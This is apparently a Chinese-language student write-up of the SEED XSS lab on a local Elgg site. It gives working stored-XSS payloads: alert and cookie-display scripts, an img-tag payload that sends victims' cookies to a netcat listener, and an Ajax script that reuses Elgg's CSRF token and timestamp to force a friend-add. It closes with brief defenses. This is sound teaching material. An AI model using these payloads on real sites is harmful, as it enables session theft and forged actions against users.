XSS攻击是什么
XSS是Cross Site Scripting(跨站脚本攻击)的缩写,原本应该叫做CSS,但是由于CSS已经是Cascading Style Sheets(层叠样式表)的缩写了,所以最后改成XSS。
XSS一般是攻击者在网站或者邮件中插入一段javascript代码,利用代码实现非开发者意愿的功能。
XSS大体上分为反射型XSS、储存型XSS和基于DOM的XSS三种。
反射型XSS
当使用者点击包含脚本的URL时,浏览器会向服务器发送请求,服务器会发送包含注入脚本的响应(request)。
储存型XSS
将注入脚本储存在服务器上,当使用者的浏览器发送请求时,脚本从服务器上传并且执行。
XSS的威胁
伪造请求
注入JavaScript的代码可以代替用户将HTTP请求发送到服务器。
窃取信息
XSS可以窃取用户的cookies以及网页上的个人信息。
开始实验
环境设置
Elgg wbsite: http://www.xsslabelgg.com
ID: samy(pwd: seedsamy)
ID: Alice(pwd: seedalice)
ID: Charlie(pwd: seedcharlie)
Task 1: Posting a Malicious Message to Display an Alert Window
登录samy,打开samy的个人资料。
里面可以编辑HTML。
在HTML编辑中,用JavaScript插入我们想要输出的字符"XSS"
<script>
alert('XSS');
</script>
保存后退回来,可以看到画面成功输出了我们想要的字符串。
Task 2: Posting a Malicious Message to Display Cookies
这个目标是泄露用户的cookie,很简单这里只需要把打印文字的代码换成输出cookies的代码就可以了。
<script>
alert(document.cookie);
</script>
可以看到成功在屏幕上打印除了用户的cookies。
Task 3: Stealing Cookies from the Victim’s Machine
上文中提到XSS有伪造请求的威胁,那么要想伪造请求就要先获得用户的cookies。Task 2 中虽然泄露了用户的cookies,但是只是在用户的显示器上打印,我们并没有真正的得到。下面会利用netcat工具窃取用户的cookies,首先用ifconfig命令查看自己的地址。这里要使用lo(loopback)中打印的地址。
然后写出代码,这个5555的端口不是固定的,只要没有被占用的话哪个都行。然后还是之前的步骤,将这串代码编辑到HTML文本中。
<script>
document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + ' >');
</script>
在终端中输入 nc -l 5555 开始监视,然后登录Alice的账户并访问Samy的空间。这里得到了Alice的cookies。
Task 4: Becoming the Victim’s Friend
接下来的目标是利用XSS让Alice加Samy为好友。和CSRF时的步骤类似,先用Charlie的账号加Samy为好友然后利用HTTP Header Live工具获得GET请求的格式。
下面是我们得到的GET请求,可以看见Samy的ID是47。
http://www.xsslabelgg.com/action/friends/add?friend=47&__elgg_ts=1669187347&__elgg_token=FxN6yDVu8lqAkaaI5U_NTQ&__elgg_ts=1669187347&__elgg_token=FxN6yDVu8lqAkaaI5U_NTQ
接下来编写脚本。我们把刚刚获得的信息全部放进去,需要注意的是这串代码多加了ts和token两个变量。这两个变量很重要,但是最后再解释。
<script>
window.onload= function () {
var Ajax=null;
//为什么需要这两行
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samyas a friend. 수정
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=47"+ts+token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
回到Samy的主页将代码放进去,然后用Alice再次点开Samy。刷新一下可以看见,Alice成功加Samy为好友,XSS攻击成功。
为什么要加那两个变量
网页通过加入** __elgg_ts 和 __elgg_token **两个变量随机值来防御被跨站访问伪造攻击,这两个变量会随着网站重新加载而改变。所以我们需要XSS攻击前,先得获取这两个变量的值才能绕过检测进行XSS攻击。
防御机制
XSS攻击还是利用用户输入进行攻击的一种,基于HTML的特性将用户输入转化成代码注入到网页中。一般的做法有输入过滤,分离代码与数据等等做法。